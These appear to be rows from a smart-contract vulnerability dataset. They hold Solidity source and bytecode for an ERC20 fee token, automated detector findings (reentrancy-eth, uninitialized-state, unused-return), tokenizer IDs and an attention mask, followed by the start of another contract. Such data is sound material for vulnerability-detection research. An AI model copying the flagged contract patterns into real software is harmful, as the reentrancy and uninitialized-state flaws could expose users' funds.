require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612514565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061212d565b6103e4565b60405161016291906124f9565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612636565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906120de565b610412565b6040516101ca91906124f9565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c91906126ab565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190612169565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c60048036038101906102779190612050565b6106be565b6040516102899190612636565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb919061242b565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f69190612514565b60405180910390f35b34801561030b57600080fd5b506103266004803603810190610321919061212d565b6108c8565b60405161033391906124f9565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c91906120a2565b610ebb565b60405161039e9190612636565b60405180910390f35b60606040518060400160405280600e81526020017f44656164506f6f6c20546f6b656e000000000000000000000000000000000000815250905090565b60006103f86103f1610f42565b8484610f4a565b6001905092915050565b6000676f05b59d3b200000905090565b600061041f848484611115565b6104e08461042b610f42565b6104db85604051806060016040528060288152602001612b8560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f19092919063ffffffff16565b610f4a565b600190509392505050565b6104f3610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610577906125b6565b60405180910390fd5b676f05b59d3b200000601181905550565b60006009905090565b6105a2610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906125b6565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f42565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611455565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b7565b9050919050565b610717610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b906125b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f44656164506f6f6c000000000000000000000000000000000000000000000000815250905090565b60006108dc6108d5610f42565b8484611115565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f42565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d81611625565b50565b610968610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec906125b6565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612616565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16676f05b59d3b200000610f4a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190612079565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190612079565b6040518363ffffffff1660e01b8152600401610c09929190612446565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190612079565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d1196959493929190612498565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6391906121bb565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550676f05b59d3b2000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e6592919061246f565b602060405180830381600087803b158015610e7f57600080fd5b505af1158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190612192565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb1906125f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102190612556565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111089190612636565b60405180910390a3505050565b60008111611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f906125d6565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113e1576002600a819055506007600b81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561129d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112f35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561130b5750601060179054906101000a900460ff165b156113205760115481111561131f57600080fd5b5b600061132b306106be565b9050601060159054906101000a900460ff161580156113985750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113b05750601060169054906101000a900460ff165b156113df576113be81611625565b6000479050670429d069189e00008111156113dd576113dc47611455565b5b505b505b6113ec83838361191f565b505050565b6000838311158290611439576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114309190612514565b60405180910390fd5b506000838561144891906127fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60038361149e9190612771565b9081150290604051600060405180830381858888f193505050501580156114c9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115139190612771565b9081150290604051600060405180830381858888f1935050505015801561153e573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115889190612771565b9081150290604051600060405180830381858888f193505050501580156115b3573d6000803e3d6000fd5b5050565b60006008548211156115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f590612536565b60405180910390fd5b600061160861192f565b905061161d818461195a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611683577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116b15781602001602082028036833780820191505090505b50905030816000815181106116ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179157600080fd5b505afa1580156117a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c99190612079565b81600181518110611803577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186a30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ce959493929190612651565b600060405180830381600087803b1580156118e857600080fd5b505af11580156118fc573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b61192a8383836119a4565b505050565b600080600061193c611b6f565b91509150611953818361195a90919063ffffffff16565b9250505090565b600061199c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bce565b905092915050565b6000806000806000806119b687611c31565b955095509550955095509550611a1486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af581611d41565b611aff8483611dfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b5c9190612636565b60405180910390a3505050505050505050565b600080600060085490506000676f05b59d3b2000009050611ba3676f05b59d3b20000060085461195a90919063ffffffff16565b821015611bc157600854676f05b59d3b200000935093505050611bca565b81819350935050505b9091565b60008083118290611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c9190612514565b60405180910390fd5b5060008385611c249190612771565b9050809150509392505050565b6000806000806000806000806000611c4e8a600a54600b54611e38565b9250925092506000611c5e61192f565b90506000806000611c718e878787611ece565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f1565b905092915050565b6000808284611cf2919061271b565b905083811015611d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2e90612576565b60405180910390fd5b8091505092915050565b6000611d4b61192f565b90506000611d628284611f5790919063ffffffff16565b9050611db681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1382600854611c9990919063ffffffff16565b600881905550611e2e81600954611ce390919063ffffffff16565b6009819055505050565b600080600080611e646064611e56888a611f5790919063ffffffff16565b61195a90919063ffffffff16565b90506000611e8e6064611e80888b611f5790919063ffffffff16565b61195a90919063ffffffff16565b90506000611eb782611ea9858c611c9990919063ffffffff16565b611c9990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ee78589611f5790919063ffffffff16565b90506000611efe8689611f5790919063ffffffff16565b90506000611f158789611f5790919063ffffffff16565b90506000611f3e82611f308587611c9990919063ffffffff16565b611c9990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f6a5760009050611fcc565b60008284611f7891906127a2565b9050828482611f879190612771565b14611fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbe90612596565b60405180910390fd5b809150505b92915050565b600081359050611fe181612b3f565b92915050565b600081519050611ff681612b3f565b92915050565b60008135905061200b81612b56565b92915050565b60008151905061202081612b56565b92915050565b60008135905061203581612b6d565b92915050565b60008151905061204a81612b6d565b92915050565b60006020828403121561206257600080fd5b600061207084828501611fd2565b91505092915050565b60006020828403121561208b57600080fd5b600061209984828501611fe7565b91505092915050565b600080604083850312156120b557600080fd5b60006120c385828601611fd2565b92505060206120d485828601611fd2565b9150509250929050565b6000806000606084860312156120f357600080fd5b600061210186828701611fd2565b935050602061211286828701611fd2565b925050604061212386828701612026565b9150509250925092565b6000806040838503121561214057600080fd5b600061214e85828601611fd2565b925050602061215f85828601612026565b9150509250929050565b60006020828403121561217b57600080fd5b600061218984828501611ffc565b91505092915050565b6000602082840312156121a457600080fd5b60006121b284828501612011565b91505092915050565b6000806000606084860312156121d057600080fd5b60006121de8682870161203b565b93505060206121ef8682870161203b565b92505060406122008682870161203b565b9150509250925092565b60006122168383612222565b60208301905092915050565b61222b81612830565b82525050565b61223a81612830565b82525050565b600061224b826126d6565b61225581856126f9565b9350612260836126c6565b8060005b83811015612291578151612278888261220a565b9750612283836126ec565b925050600181019050612264565b5085935050505092915050565b6122a781612842565b82525050565b6122b681612885565b82525050565b60006122c7826126e1565b6122d1818561270a565b93506122e1818560208601612897565b6122ea81612928565b840191505092915050565b6000612302602a8361270a565b915061230d82612939565b604082019050919050565b600061232560228361270a565b915061233082612988565b604082019050919050565b6000612348601b8361270a565b9150612353826129d7565b602082019050919050565b600061236b60218361270a565b915061237682612a00565b604082019050919050565b600061238e60208361270a565b915061239982612a4f565b602082019050919050565b60006123b160298361270a565b91506123bc82612a78565b604082019050919050565b60006123d460248361270a565b91506123df82612ac7565b604082019050919050565b60006123f760178361270a565b915061240282612b16565b602082019050919050565b6124168161286e565b82525050565b61242581612878565b82525050565b60006020820190506124406000830184612231565b92915050565b600060408201905061245b6000830185612231565b6124686020830184612231565b9392505050565b60006040820190506124846000830185612231565b612491602083018461240d565b9392505050565b600060c0820190506124ad6000830189612231565b6124ba602083018861240d565b6124c760408301876122ad565b6124d460608301866122ad565b6124e16080830185612231565b6124ee60a083018461240d565b979650505050505050565b600060208201905061250e600083018461229e565b92915050565b6000602082019050818103600083015261252e81846122bc565b905092915050565b6000602082019050818103600083015261254f816122f5565b9050919050565b6000602082019050818103600083015261256f81612318565b9050919050565b6000602082019050818103600083015261258f8161233b565b9050919050565b600060208201905081810360008301526125af8161235e565b9050919050565b600060208201905081810360008301526125cf81612381565b9050919050565b600060208201905081810360008301526125ef816123a4565b9050919050565b6000602082019050818103600083015261260f816123c7565b9050919050565b6000602082019050818103600083015261262f816123ea565b9050919050565b600060208201905061264b600083018461240d565b92915050565b600060a082019050612666600083018861240d565b61267360208301876122ad565b81810360408301526126858186612240565b90506126946060830185612231565b6126a1608083018461240d565b9695505050505050565b60006020820190506126c0600083018461241c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127268261286e565b91506127318361286e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612766576127656128ca565b5b828201905092915050565b600061277c8261286e565b91506127878361286e565b925082612797576127966128f9565b5b828204905092915050565b60006127ad8261286e565b91506127b88361286e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f1576127f06128ca565b5b828202905092915050565b60006128078261286e565b91506128128361286e565b925082821015612825576128246128ca565b5b828203905092915050565b600061283b8261284e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128908261286e565b9050919050565b60005b838110156128b557808201518184015260208101905061289a565b838111156128c4576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b4881612830565b8114612b5357600080fd5b50565b612b5f81612842565b8114612b6a57600080fd5b50565b612b768161286e565b8114612b8157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122008c6d0c34420b60c9a9458c34fefebf5ceee3841a3a3c1fe8e5c530b847c850f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 17465, 25746, 14526, 24434, 22022, 2692, 26224, 10354, 2581, 2620, 2581, 29292, 17465, 2063, 20958, 2549, 2546, 2549, 4783, 2497, 28311, 2497, 2487, 2546, 2509, 1013, 1008, 1008, 1008, 23921, 1996, 3207, 4215, 16869, 18715, 2368, 1008, 1023, 1003, 4171, 4189, 2377, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,861
0x97825b4adee063b93dff926743f0efd86c648aaa
/** *Submitted for verification at Etherscan.io on 2021-05-13 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 